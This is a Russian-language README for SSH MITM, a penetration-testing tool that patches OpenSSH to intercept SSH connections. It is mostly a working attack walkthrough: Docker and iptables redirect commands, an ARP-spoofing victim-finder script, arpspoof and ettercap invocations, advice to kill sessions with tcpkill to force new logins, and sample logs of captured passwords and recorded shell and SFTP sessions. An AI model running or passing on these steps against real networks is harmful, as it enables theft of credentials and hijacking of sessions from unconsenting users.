
SSH-инструмент типа «человек посередине»
Автор: Joe Testa (@therealjoetesta)
Этот инструмент для тестирования на проникновение позволяет аудитору перехватывать SSH-соединения. Патч, применённый к исходному коду OpenSSH v7.5p1, заставляет его действовать как прокси между жертвой и её целевым SSH-сервером; все пароли и сессии в открытом виде записываются на диск.
Конечно, SSH-клиент жертвы сообщит, что ключ сервера изменился. Но поскольку в 99.99999% случаев это вызвано легитимным действием (переустановка ОС, изменение конфигурации и т.д.), многие/большинство пользователей проигнорируют предупреждение и продолжат.
ПРИМЕЧАНИЕ: Запускайте модифицированный sshd_mitm только в виртуальной машине или контейнере! В исходный код OpenSSH были внесены ad-hoc правки в критических областях без учёта их влияния на безопасность. Нетрудно представить, что эти правки могут привести к серьёзным уязвимостям.
Самый быстрый и простой способ начать работу — использовать Docker-образ с предварительно собранным SSH MITM.
1.) Получите образ из Dockerhub:
$ docker pull positronsecurity/ssh-mitm
2.) Затем запустите контейнер:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) Включите IP-форвардинг и настройте NAT на вашем хост-компьютере:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) Найдите цели в локальной сети и выполните ARP-спуфинг (см. ниже).
5.) Сессии оболочки и SFTP будут записаны в каталог ssh_mitm_logs.
Запустите скрипт install.sh от имени root. Он установит необходимые зависимости из репозиториев, загрузит архив OpenSSH, проверит его подпись, скомпилирует и инициализирует непривилегированную среду для выполнения.
Скрипт JoesAwesomeSSHMITMVictimFinder.py значительно упрощает поиск целей в локальной сети. Он выполняет ARP-спуфинг блока IP-адресов и анализирует SSH-трафик в течение короткого времени, прежде чем перейти к следующему блоку. Сообщается о любых активных SSH-соединениях, исходящих от устройств в сети.
По умолчанию JoesAwesomeSSHMITMVictimFinder.py будет подделывать ARP и анализировать только 5 IP-адресов за раз в течение 20 секунд, прежде чем перейти к следующему блоку из 5. Эти параметры можно настроить, но существует компромисс: чем больше IP-адресов подделывается одновременно, тем выше вероятность обнаружения активного SSH-соединения, но тем больше нагрузка на ваш сетевой интерфейс. При слишком высокой нагрузке интерфейс начнёт терять кадры, вызывая отказ в обслуживании и значительно повышая подозрения (это плохо). Значения по умолчанию в большинстве случаев не должны вызывать проблем, хотя для поиска целей потребуется больше времени. Размер блока можно безопасно увеличить в сетях с низкой загрузкой.
Пример:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
Приведённый выше вывод показывает, что два устройства в сети установили SSH-соединения (10.11.12.43 и 10.11.12.70); их можно атаковать с помощью перехвата. Однако, чтобы перехватить учётные данные, вам придётся дождаться, когда они инициируют новые соединения. Нетерпеливые пентестеры могут принудительно завершить существующие SSH-сессии (с помощью инструмента tcpkill), что вынудит клиентов немедленно создать новые...
1.) После завершения начальной настройки и получения списка потенциальных жертв (см. выше) запустите start.sh от имени root. Это запустит sshd_mitm, включит IP-форвардинг и настроит перехват SSH-пакетов через iptables.
2.) Выполните ARP-спуфинг цели (Совет: НЕ подделывайте все IP-адреса подряд! Ваш слабый сетевой интерфейс, скорее всего, не справится с трафиком всей сети одновременно. Подделывайте только несколько IP-адресов за раз):
arpspoof -r -t 192.168.x.1 192.168.x.5
В качестве альтернативы можно использовать инструмент ettercap:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Следите за auth.log. Перехваченные пароли будут появляться здесь:
sudo tail -f /var/log/auth.log
4.) После установки сессии полный журнал всего ввода-вывода можно найти в /home/ssh-mitm/. SSH-сессии записываются как shell_session_*.txt, а SFTP-сессии — как sftp_session_*.html (переданные файлы сохраняются в соответствующем каталоге).
В случае успеха в /var/log/auth.log появятся строки, логирующие пароль, например:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
Кроме того, вся SSH-сессия жертвы записывается:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
Обратите внимание, что символы в командах пользователя отображаются в файле дважды, поскольку записывается как ввод пользователя, так и вывод оболочки (которая отображает символы обратно). Обратите внимание, что когда программы, такие как sudo и ssh, временно отключают отображение для чтения пароля, повторяющиеся символы не сохраняются.
Вся активность SFTP также записывается. Используйте браузер для просмотра sftp_session_0.html. Он содержит журнал команд со ссылками на загруженные и скачанные файлы:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
В файле lol.h находятся два макроса: DEBUG_HOST и DEBUG_PORT. Включите их и укажите имя хоста тестового сервера. Теперь вы можете подключаться к sshd_mitm напрямую, без использования ARP-спуфинга, чтобы протестировать свои изменения, например:
ssh -p 2222 valid_user_on_debug_host@localhost
Для тестирования изменений в исходном коде OpenSSH используйте скрипт dev/redeploy.sh.
Чтобы увидеть diff незафиксированных изменений, используйте скрипт dev/make_diff_of_uncommitted_changes.sh.
Для повторной генерации полного патча к исходным кодам OpenSSH используйте скрипт dev/regenerate_patch.sh.